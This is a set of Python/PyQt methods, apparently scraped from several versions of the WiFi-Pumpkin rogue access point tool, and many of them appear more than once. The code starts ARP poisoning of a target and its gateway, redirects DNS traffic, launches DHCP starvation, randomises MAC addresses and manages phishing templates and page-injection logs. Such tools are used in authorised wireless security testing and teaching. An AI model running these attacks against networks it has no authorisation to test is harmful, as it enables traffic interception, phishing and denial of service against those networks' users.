def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.xmlSettings('statusAP','value','False',False) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count()>0: with open('Logs/AccessPoint/injectionPage.log','w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) for log in lines: injectionlog.write(log+'\n') injectionlog.close() with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup,'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.Settings.set_setting('accesspoint','statusAP',False) if hasattr(self,'dockAreaList'): for dock in self.dockAreaList.keys(): self.dockAreaList[dock].clear() self.dockAreaList[dock].stopProcess() self.PumpSettingsTAB.GroupArea.setEnabled(True) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE,shell=False,stderr=PIPE) Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'],Remove=True) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.progress.setValue(1) self.progress.change_color('') self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count()>0: with open('Logs/AccessPoint/injectionPage.log','w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append(str(self.ProxyPluginsTAB.log_inject.item(index).text())) for log in lines: injectionlog.write(log+'\n') injectionlog.close() with open('/var/lib/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) popen('ulimit -n 1024') Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup,'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def GetDHCPRequests(self, data): if len(data) == 8: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): self.APclients[data[4]] = { 'IP': data[2], 'device': data[5], 'in_tables': False, } self.StatusDHCPRequests(data[4]) elif len(data) == 9: if Refactor.check_is_mac(data[5]): if data[5] not in self.APclients.keys(): self.APclients[data[5]] = { 'IP': data[2], 'device': data[6], 'in_tables': False, } self.StatusDHCPRequests(data[5]) elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): leases = IscDhcpLeases('Settings/dhcp/dhcpd.leases') hostname = None try: for item in leases.get(): if item.ethernet == data[4]: hostname = item.hostname if hostname == None: item = leases.get_current() hostname = item[data[4]] except: hostname = 'unknown' if hostname == None: hostname = 'unknown' self.APclients[data[4]] = { 'IP': data[2], 'device': hostname, 'in_tables': False, } self.StatusDHCPRequests(data[4]) self.APclients[data[4]] = { 'IP': data[2], 'device': hostname, 'in_tables': False, } Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]['in_tables'] == False: self.APclients[mac]['in_tables'] = True self.THeaders['mac-address'].append(mac) self.THeaders['ip-address'].append(self.APclients[mac]['IP']) self.THeaders['device'].append(self.APclients[mac]['device']) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.TabInfoAP.setItem(m, n, item) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) self.connectedCount.setText(str(len(self.APclients.keys())))
def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text())) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True,'stas_arp') if self.configure.xmlSettings('statusAP','value',None,False) == 'False': Refactor.set_ip_forward(1) arp_gateway = ThARP_posion(str(self.txt_gateway.text()),str(self.txt_target.text()), get_if_hwaddr(str(self.ComboIface.currentText()))) arp_gateway.setObjectName('Arp Posion:: [gateway]') self.ThreadDirc['Arp_posion'].append(arp_gateway) arp_gateway.start() arp_target = ThARP_posion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(arp_target,SIGNAL('Activated ( QString ) '), self.StopArpAttack) arp_target.setObjectName('Arp::Posion => [target]') self.ThreadDirc['Arp_posion'].append(arp_target) arp_target.start() redirectPackets = ThSpoofAttack('', str(self.ComboIface.currentText()),'udp port 53',True,str(self.txt_redirect.text())) self.connect(redirectPackets,SIGNAL('Activated ( QString ) '), self.StopArpAttack) if self.configure.xmlSettings('statusAP','value',None,False) == 'False':redirectPackets.redirection() else:redirectPackets.redirectionAP() redirectPackets.setObjectName('Packets Spoof') self.ThreadDirc['Arp_posion'].append(redirectPackets) redirectPackets.start() return QMessageBox.information(self,'Error Redirect IP','Redirect IP not found')
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.xmlSettings('statusAP', 'value', 'False', False) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE, shell=False, stderr=PIPE) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count() > 0: with open('Logs/AccessPoint/injectionPage.log', 'w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append( str( self.ProxyPluginsTAB.log_inject.item( index).text())) for log in lines: injectionlog.write(log + '\n') injectionlog.close() with open('Settings/dhcp/dhcpd.leases', 'w') as dhcpLease: dhcpLease.write(''), dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup, 'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def discoveryIface(self): iface = str(self.ComboIface.currentText()) mac = Refactor.getHwAddr(iface) ip = Refactor.get_Ipaddr(iface) if self.configure.xmlSettings('statusAP','value',None,False) == 'True': self.txt_gateway.setText('10.0.0.1') self.txt_mac.setText(mac) self.txt_redirect.setText(ip)
def discoveryIface(self): iface = str(self.ComboIface.currentText()) mac = Refactor.getHwAddr(iface) ip = Refactor.get_Ipaddr(iface) if self.configure.xmlSettings('statusAP', 'value', None, False) == 'True': self.txt_gateway.setText('10.0.0.1') self.txt_mac.setText(mac) self.txt_redirect.setText(ip)
def working(self,ip,lista): with open(devnull, 'wb') as limbo: result=Popen(['ping', '-c', '1', '-n', '-W', '1', ip], stdout=limbo, stderr=limbo).wait() if not result: if Refactor.get_mac(ip) == None: lista[ip] = ip + '|' + 'not found' else: lista[ip] = ip + '|' + Refactor.get_mac(ip)
def working(self, ip, lista): with open(devnull, 'wb') as limbo: result = Popen(['ping', '-c', '1', '-n', '-W', '1', ip], stdout=limbo, stderr=limbo).wait() if not result: if Refactor.get_mac(ip) == None: lista[ip] = ip + '|' + 'not found' else: lista[ip] = ip + '|' + Refactor.get_mac(ip)
def Start_Attack(self): if (len(self.txt_target.text()) and len(self.txt_mac.text()) and len(self.txt_gateway.text())) == 0: QMessageBox.information(self, 'Error Arp Attacker', 'you need set the input correctly') else: chdir(self.owd) if (len(self.txt_target.text()) and len(self.txt_gateway.text()) ) and len(self.txt_mac.text()) != 0: if len(self.txt_redirect.text()) != 0: self.StatusMonitor(True, 'stas_arp') if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': Refactor.set_ip_forward(1) arp_gateway = ThARP_posion( str(self.txt_gateway.text()), str(self.txt_target.text()), get_if_hwaddr(str(self.ComboIface.currentText()))) arp_gateway.setObjectName('Arp Posion:: [gateway]') self.ThreadDirc['Arp_posion'].append(arp_gateway) arp_gateway.start() arp_target = ThARP_posion(str(self.txt_target.text()), str(self.txt_gateway.text()), str(self.txt_mac.text())) self.connect(arp_target, SIGNAL('Activated ( QString ) '), self.StopArpAttack) arp_target.setObjectName('Arp::Posion => [target]') self.ThreadDirc['Arp_posion'].append(arp_target) arp_target.start() redirectPackets = ThSpoofAttack( '', str(self.ComboIface.currentText()), 'udp port 53', True, str(self.txt_redirect.text())) self.connect(redirectPackets, SIGNAL('Activated ( QString ) '), self.StopArpAttack) if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': redirectPackets.redirection() else: redirectPackets.redirectionAP() redirectPackets.setObjectName('Packets Spoof') self.ThreadDirc['Arp_posion'].append(redirectPackets) redirectPackets.start() return QMessageBox.information(self, 'Error Redirect IP', 'Redirect IP not found')
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([ self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway' ][0]) except: pass self.EditApName.setText( self.FSettings.xmlSettings('AP', 'name', None, False)) self.EditChannel.setText( self.FSettings.xmlSettings('channel', 'mchannel', None, False)) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i, j in enumerate(self.get_interfaces['all']): if search('wl', j): self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") hostapd = popen('which hostapd').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0] ] for i in lista: self.ConfigTwin['ProgCheck'].append(path.isfile(i))
def __init__(self,parent=None,*args): super(PumpkinModule, self).__init__(parent) self.setWindowIcon(QIcon('Icons/icon.ico')) self.module_network = Refactor self.configure = frm_Settings() self.Ftemplates = frm_PhishingManager() self.interfaces = Refactor.get_interfaces()
def closeEvent(self, event): reply = QMessageBox.question(self, 'About Exit', 'Are you sure to close ArpPosion?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() if (len(self.ThreadDirc['Arp_posion']) != 0): try: for i in self.ThreadDirc['Arp_posion']: i.stop(),i.join() except:pass if self.configure.xmlSettings('statusAP','value',None,False) == 'False': Refactor.set_ip_forward(0) self.deleteLater() return event.ignore()
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()["all"] for i, j in enumerate(n): if search("at", j) or search("wlan", j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def __init__(self, parent=None, *args): super(PumpkinModule, self).__init__(parent) self.setWindowIcon(QIcon('rsc/icon.ico')) self.module_network = Refactor self.configure = frm_Settings() self.Ftemplates = frm_PhishingManager() self.interfaces = Refactor.get_interfaces()
def action_btn_random(self): mac = Refactor.randomMacAddress([ random.choice(self.prefix), random.choice(self.prefix), random.choice(self.prefix) ]) self.i_mac.setText(mac)
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('at',j) or search('wlan',j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def refrash_interface(self): self.ComboIface.clear() n = Refactor.get_interfaces()['all'] for i,j in enumerate(n): if search('at',j) or search('wl',j): self.ComboIface.addItem(n[i]) self.discoveryIface()
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter(self, "Save File Logger HTML", "report.html", "HTML (*.html)") if len(filename) != 0: with open(str(filename[0]), "w") as filehtml: filehtml.write(contents["HTML"]), filehtml.close() QMessageBox.information(self, "WiFi Pumpkin", "file has been saved with success.")
def GetDHCPRequests(self,data): if len(data) == 8: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): self.APclients[data[4]] = {'IP': data[2], 'device': sub(r'[)|(]',r'',data[5]),'in_tables': False,} self.StatusDHCPRequests(data[4],self.APclients[data[4]]) elif len(data) == 9: if Refactor.check_is_mac(data[5]): if data[5] not in self.APclients.keys(): self.APclients[data[5]] = {'IP': data[2], 'device': sub(r'[)|(]',r'',data[6]),'in_tables': False,} self.StatusDHCPRequests(data[5],self.APclients[data[5]]) elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): leases = IscDhcpLeases('/var/lib/dhcp/dhcpd.leases') hostname = None try: for item in leases.get(): if item.ethernet == data[4]: hostname = item.hostname if hostname == None: item = leases.get_current() hostname = item[data[4]] except: hostname = 'unknown' if hostname == None:hostname = 'unknown' self.APclients[data[4]] = {'IP': data[2],'device': hostname, 'in_tables': False,} self.StatusDHCPRequests(data[4],self.APclients[data[4]]) Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]['in_tables'] == False: self.APclients[mac]['in_tables'] = True self.THeaders['mac-address'].append(mac) self.THeaders['ip-address'].append(self.APclients[mac]['IP']) self.THeaders['device'].append(self.APclients[mac]['device']) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.TabInfoAP.setItem(m, n, item) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) self.connectedCount.setText(str(len(self.APclients.keys())))
def GetloggerInjection(self, data): if Refactor.getSize('Logs/AccessPoint/injectionPage.log') > 255790: with open('Logs/AccessPoint/injectionPage.log', 'w') as bufferlog: bufferlog.write(''), bufferlog.close() if data not in self.urlinjected: self.log_inject.addItem(data) self.urlinjected.append(data) self.log_inject.scrollToBottom()
def exportHTML(self): contents = Refactor.exportHtml() filename = QFileDialog.getSaveFileNameAndFilter(self, 'Save File Logger HTML','report.html','HTML (*.html)') if len(filename) != 0: with open(str(filename[0]),'w') as filehtml: filehtml.write(contents['HTML']),filehtml.close() QMessageBox.information(self, 'WiFi Pumpkin', 'file has been saved with success.')
def GetloggerInjection(self,data): if Refactor.getSize('Logs/AccessPoint/injectionPage.log') > 255790: with open('Logs/AccessPoint/injectionPage.log','w') as bufferlog: bufferlog.write(''), bufferlog.close() if data not in self.urlinjected: self.log_inject.addItem(data) self.urlinjected.append(data) self.log_inject.scrollToBottom()
def GetDHCPRequests(self, data): if len(data) == 8: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): self.APclients[data[4]] = {"IP": data[2], "device": data[5], "in_tables": False} self.StatusDHCPRequests(data[4]) elif len(data) == 9: if Refactor.check_is_mac(data[5]): if data[5] not in self.APclients.keys(): self.APclients[data[5]] = {"IP": data[2], "device": data[6], "in_tables": False} self.StatusDHCPRequests(data[5]) elif len(data) == 7: if Refactor.check_is_mac(data[4]): if data[4] not in self.APclients.keys(): leases = IscDhcpLeases("Settings/dhcp/dhcpd.leases") hostname = None try: for item in leases.get(): if item.ethernet == data[4]: hostname = item.hostname if hostname == None: item = leases.get_current() hostname = item[data[4]] except: hostname = "unknown" if hostname == None: hostname = "unknown" self.APclients[data[4]] = {"IP": data[2], "device": hostname, "in_tables": False} self.StatusDHCPRequests(data[4]) self.APclients[data[4]] = {"IP": data[2], "device": hostname, "in_tables": False} Headers = [] for mac in self.APclients.keys(): if self.APclients[mac]["in_tables"] == False: self.APclients[mac]["in_tables"] = True self.THeaders["mac-address"].append(mac) self.THeaders["ip-address"].append(self.APclients[mac]["IP"]) self.THeaders["device"].append(self.APclients[mac]["device"]) for n, key in enumerate(self.THeaders.keys()): Headers.append(key) for m, item in enumerate(self.THeaders[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.TabInfoAP.setItem(m, n, item) self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) self.connectedCount.setText(str(len(self.APclients.keys())))
def list_clicked(self, index): itms = self.list.selectedIndexes() for i in itms: attack = str(i.data().toString()).split() for i in attack: if Refactor.check_is_mac(i.replace(" ", "")): self.linetarget.setText(str(i)) if self.linetarget.text() == "": QMessageBox.information(self, "MacAddress", "Error check the Mac Target, please set the mac valid.")
def kill(self): if self.Apthreads['RougeAP'] == []: return self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.ConfigTwin['interface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def closeEvent(self, event): reply = QMessageBox.question(self, 'About Exit', 'Are you sure to close ArpPosion?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() if (len(self.ThreadDirc['Arp_posion']) != 0): try: for i in self.ThreadDirc['Arp_posion']: i.stop(), i.join() except: pass if self.configure.xmlSettings('statusAP', 'value', None, False) == 'False': Refactor.set_ip_forward(0) self.deleteLater() return event.ignore()
def list_clicked(self, index): itms = self.list.selectedIndexes() for i in itms: attack = str(i.data().toString()).split() for i in attack: if Refactor.check_is_mac(i.replace(' ', '')): self.linetarget.setText(str(i)) if self.linetarget.text() == '': QMessageBox.information(self, 'MacAddress', 'Error check the Mac Target, please set the mac valid.')
def kill(self): if self.Apthreads['RougeAP'] == []: return self.ProxyPluginsTAB.GroupSettings.setEnabled(True) self.FSettings.Settings.set_setting('accesspoint', 'statusAP', False) if hasattr(self, 'dockAreaList'): for dock in self.dockAreaList.keys(): self.dockAreaList[dock].clear() self.dockAreaList[dock].stopProcess() self.PumpSettingsTAB.GroupArea.setEnabled(True) for thread in self.Apthreads['RougeAP']: thread.stop() for kill in self.SettingsAP['kill']: Popen(kill.split(), stdout=PIPE, shell=False, stderr=PIPE) Refactor.settingsNetworkManager(self.ConfigTwin['AP_iface'], Remove=True) set_monitor_mode(self.ConfigTwin['AP_iface']).setDisable() self.Started(False) self.progress.setValue(1) self.progress.change_color('') self.Apthreads['RougeAP'] = [] self.APclients = {} lines = [] if self.ProxyPluginsTAB.log_inject.count() > 0: with open('Logs/AccessPoint/injectionPage.log', 'w') as injectionlog: for index in xrange(self.ProxyPluginsTAB.log_inject.count()): lines.append( str( self.ProxyPluginsTAB.log_inject.item( index).text())) for log in lines: injectionlog.write(log + '\n') injectionlog.close() with open('/var/lib/dhcp/dhcpd.leases', 'w') as dhcpLease: dhcpLease.write(''), dhcpLease.close() self.btn_start_attack.setDisabled(False) popen('ulimit -n 1024') Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() if hasattr(self.FormPopup, 'Ftemplates'): self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False)
def delete_logger(self): content = Refactor.exportHtml() if listdir('Logs')!= '': resp = QMessageBox.question(self, 'About Delete Logger', 'do you want to delete Logs?',QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if resp == QMessageBox.Yes: system('rm Logs/Caplog/*.cap') for keyFile in content['Files']: with open(keyFile,'w') as f: f.write(''),f.close()
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar,SIGNAL("Activated ( QString )"),self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() return QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.')
def delete_logger(self): content = Refactor.exportHtml() if listdir('Logs')!= '': resp = QMessageBox.question(self, 'About Delete Logger', 'do you want to delete Logs?',QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if resp == QMessageBox.Yes: Popen(['rm','Logs/Caplog/*.cap'], stdout=PIPE,shell=False,stderr=PIPE) for keyFile in content['Files']: with open(keyFile,'w') as f: f.write(''),f.close() QMessageBox.information(self,'Logger','Removed all the output .log attack session')
def D_attack(self): interface = Refactor.get_interfaces()['activated'] if interface != None: self.check.setText("[ ON ]") self.check.setStyleSheet("QLabel { color : green; }") self.threadstar = ThreadAttackStar(interface) self.connect(self.threadstar, SIGNAL("Activated ( QString )"), self.getloggerAttack) self.threadstar.setObjectName("DHCP Starvation") self.threadstar.start() return QMessageBox.information(self, 'Interface Not found', 'None detected network interface try again.')
def kill(self): if self.Apthreads["RougeAP"] == []: return self.FSettings.xmlSettings("statusAP", "value", "False", False) for i in self.Apthreads["RougeAP"]: i.stop() for kill in self.SettingsAP["kill"]: popen(kill) set_monitor_mode(self.ConfigTwin["interface"]).setDisable() self.Started(False) self.Apthreads["RougeAP"] = [] self.APclients = {} with open("Settings/dhcp/dhcpd.leases", "w") as dhcpLease: dhcpLease.write(""), dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def monitorThreadScan(self, apData): apData = list(apData.split("|")) if not str(apData[0]) in self.ApsCaptured.keys(): self.ApsCaptured[str(apData[0])] = apData if Refactor.check_is_mac(str(apData[0])): self.data["Channel"].append(self.ApsCaptured[str(apData[0])][1]) self.data["Essid"].append(self.ApsCaptured[str(apData[0])][2]) self.data["Bssid"].append(str(apData[0])) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item)
def monitorThreadScan(self,apData): apData = list(apData.split('|')) if not str(apData[0]) in self.ApsCaptured.keys(): self.ApsCaptured[str(apData[0])] = apData if Refactor.check_is_mac(str(apData[0])): self.data['Channel'].append(self.ApsCaptured[str(apData[0])][1]) self.data['Essid'].append(self.ApsCaptured[str(apData[0])][2]) self.data['Bssid'].append(str(apData[0])) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item)
def delete_logger(self): content = Refactor.exportHtml() if listdir("Logs") != "": resp = QMessageBox.question( self, "About Delete Logger", "do you want to delete Logs?", QMessageBox.Yes | QMessageBox.No, QMessageBox.No, ) if resp == QMessageBox.Yes: system("rm Logs/Caplog/*.cap") for keyFile in content["Files"]: with open(keyFile, "w") as f: f.write(""), f.close()
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.Ftemplates = frm_PhishingManager() self.module_network = Refactor self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress': [], 'Hostname': [], 'MacAddress': []} self.ThreadDirc = {'Arp_posion': []} global threadloading self.GUI()
def __init__(self, parent=None): super(frm_Arp_Poison, self).__init__(parent) self.setWindowTitle('Arp Posion Attack ') self.setWindowIcon(QIcon('rsc/icon.ico')) self.Main = QVBoxLayout() self.owd = getcwd() self.control = False self.interfaces = Refactor.get_interfaces() self.configure = frm_Settings() self.Ftemplates = frm_PhishingManager() self.module_network = Refactor self.loadtheme(self.configure.XmlThemeSelected()) self.data = {'IPaddress':[], 'Hostname':[], 'MacAddress':[]} self.ThreadDirc = {'Arp_posion':[]} global threadloading self.GUI()
def ConfigureEdits(self): x = self.interfaces self.StatusMonitor(False,'stas_scan') self.StatusMonitor(False,'stas_arp') self.StatusMonitor(False,'stas_phishing') scan_range = self.configure.xmlSettings('scan','rangeIP',None,False) self.ip_range.setText(scan_range) if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) n = self.interfaces['all'] for i,j in enumerate(n): if n[i] != '': self.ComboIface.addItem(n[i])
def ConfigureEdits(self): x = self.interfaces self.StatusMonitor(False, 'stas_scan') self.StatusMonitor(False, 'stas_arp') self.StatusMonitor(False, 'stas_phishing') scan_range = self.configure.xmlSettings('scan', 'rangeIP', None, False) self.ip_range.setText(scan_range) if x['gateway'] != None: self.txt_gateway.setText(x['gateway']) self.txt_redirect.setText(x['IPaddress']) self.txt_mac.setText(Refactor.getHwAddr(x['activated'])) self.connect(self.ComboIface, SIGNAL("currentIndexChanged(QString)"), self.discoveryIface) n = self.interfaces['all'] for i, j in enumerate(n): if n[i] != '': self.ComboIface.addItem(n[i])
def delete_logger(self): content = Refactor.exportHtml() if listdir('Logs') != '': resp = QMessageBox.question(self, 'About Delete Logger', 'do you want to delete Logs?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if resp == QMessageBox.Yes: Popen(['rm', 'Logs/Caplog/*.cap'], stdout=PIPE, shell=False, stderr=PIPE) for keyFile in content['Files']: with open(keyFile, 'w') as f: f.write(''), f.close() QMessageBox.information( self, 'Logger', 'Removed all the output .log attack session')
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText( [self.get_interfaces[x] for x in self.get_interfaces.keys() if x == 'gateway'][0]) except:pass self.EditApName.setText(self.FSettings.Settings.get_setting('accesspoint','APname')) self.EditChannel.setText(self.FSettings.Settings.get_setting('accesspoint','channel')) self.ConfigTwin['PortRedirect'] = self.FSettings.redirectport.text() for i,j in enumerate(self.get_interfaces['all']): if search('wl', j):self.selectCard.addItem(self.get_interfaces['all'][i]) driftnet = popen('which driftnet').read().split('\n') ettercap = popen('which ettercap').read().split('\n') dhcpd = popen('which dhcpd').read().split("\n") dnsmasq = popen('which dnsmasq').read().split("\n") hostapd = popen('which hostapd').read().split("\n") lista = [ '/usr/sbin/airbase-ng', ettercap[0],driftnet[0],dhcpd[0],dnsmasq[0],hostapd[0]] for i in lista:self.ConfigTwin['ProgCheck'].append(path.isfile(i))
def MacGUI(self): self.form_mac = QFormLayout() self.i_mac = QLineEdit(self) self.combo_card = QComboBox(self) self.btn_random = QPushButton("Random MAC") self.btn_random.setIcon(QIcon("rsc/refresh.png")) self.btn_save = QPushButton("Save") self.btn_save.setIcon(QIcon("rsc/Save.png")) self.btn_save.clicked.connect(self.change_macaddress) self.btn_random.clicked.connect(self.action_btn_random) self.cards = Refactor.get_interfaces()['all'] self.combo_card.addItems(self.cards) self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) self.form_mac.addRow(self.combo_card,self.i_mac) self.form_mac.addRow("MAC Random: ", self.btn_random) self.form_mac.addRow(self.btn_save) self.Main.addLayout(self.form_mac) self.setLayout(self.Main)
def MacGUI(self): self.form_mac = QFormLayout() self.i_mac = QLineEdit(self) self.combo_card = QComboBox(self) self.btn_random = QPushButton("Random MAC") self.btn_random.setIcon(QIcon("rsc/refresh.png")) self.btn_save = QPushButton("Save") self.btn_save.setIcon(QIcon("rsc/Save.png")) self.btn_save.clicked.connect(self.change_macaddress) self.btn_random.clicked.connect(self.action_btn_random) self.cards = Refactor.get_interfaces()['all'] self.combo_card.addItems(self.cards) self.connect(self.combo_card, SIGNAL('activated(QString)'), self.combo_clicked) self.form_mac.addRow(self.combo_card, self.i_mac) self.form_mac.addRow("MAC Random: ", self.btn_random) self.form_mac.addRow(self.btn_save) self.Main.addLayout(self.form_mac) self.setLayout(self.Main)
def mConfigure(self): self.get_interfaces = Refactor.get_interfaces() try: self.EditGateway.setText([self.get_interfaces[x] for x in self.get_interfaces.keys() if x == "gateway"][0]) except: pass self.EditApName.setText(self.FSettings.xmlSettings("AP", "name", None, False)) self.EditChannel.setText(self.FSettings.xmlSettings("channel", "mchannel", None, False)) self.ConfigTwin["PortRedirect"] = self.FSettings.redirectport.text() for i, j in enumerate(self.get_interfaces["all"]): if search("wlan", j): self.selectCard.addItem(self.get_interfaces["all"][i]) driftnet = popen("which driftnet").read().split("\n") ettercap = popen("which ettercap").read().split("\n") dhcpd = popen("which dhcpd").read().split("\n") dnsmasq = popen("which dnsmasq").read().split("\n") hostapd = popen("which hostapd").read().split("\n") lista = ["/usr/sbin/airbase-ng", ettercap[0], driftnet[0], dhcpd[0], dnsmasq[0], hostapd[0]] for i in lista: self.ConfigTwin["ProgCheck"].append(path.isfile(i))
def scan_diveces_airodump(self): dirpath = "Settings/Dump" if not path.isdir(dirpath): makedirs(dirpath) self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} exit_air = airdump_start(self.interface) self.fix = False if exit_air == None: self.cap = get_network_scan() if self.cap != None: for i in self.cap: i = i.split("||") if Refactor.check_is_mac(i[2]): Headers = [] self.data['Channel'].append(i[0]) self.data['Essid'].append(i[1]) self.data['Bssid'].append(i[2]) for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) self.cap =[]
